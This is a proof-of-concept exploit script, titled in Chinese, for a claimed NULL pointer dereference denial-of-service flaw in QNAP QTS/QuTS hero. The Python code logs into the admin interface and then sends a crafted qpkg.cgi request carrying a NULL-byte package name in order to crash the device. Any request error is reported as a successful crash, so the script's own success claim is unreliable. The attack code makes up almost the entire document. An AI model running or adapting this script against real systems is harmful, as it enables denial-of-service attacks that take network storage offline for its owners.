CVE-2025-52853 QNAP操作系统NULL指针解引用拒绝服务漏洞

# CVE-2025-52853 PoC - QNAP NULL Pointer Dereference DoS # This PoC demonstrates how a NULL pointer dereference vulnerability # can be triggered in QNAP QTS/QuTS hero OS by an authenticated admin user. import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_URL = "https://TARGET_QNAP_IP:8080" ADMIN_USER = "admin" ADMIN_PASS = "password123" def exploit_null_ptr_deref(target, username, password): """ Trigger NULL pointer dereference in QNAP OS service. Requires valid admin credentials (PR:H). """ session = requests.Session() session.verify = False # Step 1: Authenticate as admin via QNAP management interface login_url = f"{target}/cgi-bin/login.cgi" login_data = { "user": username, "pwd": password, "service": 1 } print(f"[*] Authenticating as {username}...") resp = session.post(login_url, data=login_data) if resp.status_code != 200: print("[-] Authentication failed.") return False print("[+] Authentication successful.") # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint processes a parameter that leads to # a NULL pointer being dereferenced without proper validation. vuln_url = f"{target}/cgi-bin/qpkg/qpkg.cgi" trigger_params = { "action": "get_depends", # Crafted parameter that causes NULL pointer dereference # when the service attempts to process dependency information # for a non-existent or malformed package reference. "pkg_name": "\x00", # NULL byte to trigger NULL pointer path "func": "extra_get" } print("[*] Sending crafted request to trigger NULL pointer dereference...") try: resp = session.post(vuln_url, data=trigger_params, timeout=10) print(f"[*] Response status: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[+] Target appears to have crashed: {e}") print("[+] DoS triggered successfully!") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [username] [password]") print(f"Example: {sys.argv[0]} https://192.168.1.100:8080 admin password123") sys.exit(1) target = sys.argv[1] username = sys.argv[2] if len(sys.argv) > 2 else ADMIN_USER password = sys.argv[3] if len(sys.argv) > 3 else ADMIN_PASS exploit_null_ptr_deref(target, username, password)